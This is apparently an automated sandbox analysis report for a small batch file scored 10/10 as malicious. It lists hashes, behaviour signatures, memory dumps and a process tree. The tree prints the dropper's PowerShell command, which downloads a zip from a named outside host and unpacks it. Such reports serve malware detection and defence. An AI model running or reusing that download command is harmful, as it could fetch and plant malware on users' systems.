3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (11).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2480	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2480	powershell.exe
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 2480	2156	cmd.exe	29
PID 2156 wrote to memory of 2480	2156	cmd.exe	29
PID 2156 wrote to memory of 2480	2156	cmd.exe	29
PID 2156 wrote to memory of 2780	2156	cmd.exe	30
PID 2156 wrote to memory of 2780	2156	cmd.exe	30
PID 2156 wrote to memory of 2780	2156	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2780

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1de6ae811974f035acdaf80fef2b85cf

SHA1
eac8490a5a86dc77100204cddf23db3fe018df7a

SHA256
4e938c07f8c6a51808340a2bde64bac417472acfdc4c56399032971e2c5f826d

SHA512
744e3ceb39748a5b27943351b483fc8003f61d509999123fe02a65efaca28097013aa23a0acd28ec9573787b238b44f419c3fddc7874aed934e50d783f91785d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P4IRXCKX8EXER4A75R0H.temp

Filesize
7KB

MD5
1de6ae811974f035acdaf80fef2b85cf

SHA1
eac8490a5a86dc77100204cddf23db3fe018df7a

SHA256
4e938c07f8c6a51808340a2bde64bac417472acfdc4c56399032971e2c5f826d

SHA512
744e3ceb39748a5b27943351b483fc8003f61d509999123fe02a65efaca28097013aa23a0acd28ec9573787b238b44f419c3fddc7874aed934e50d783f91785d

Download Submit
memory/2480-8-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-7-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2480-4-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2480-9-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2480-11-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-6-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2480-5-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/2780-17-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/2780-19-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-18-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2780-20-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2780-21-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/2780-22-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2780-23-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2780-24-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2780-25-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download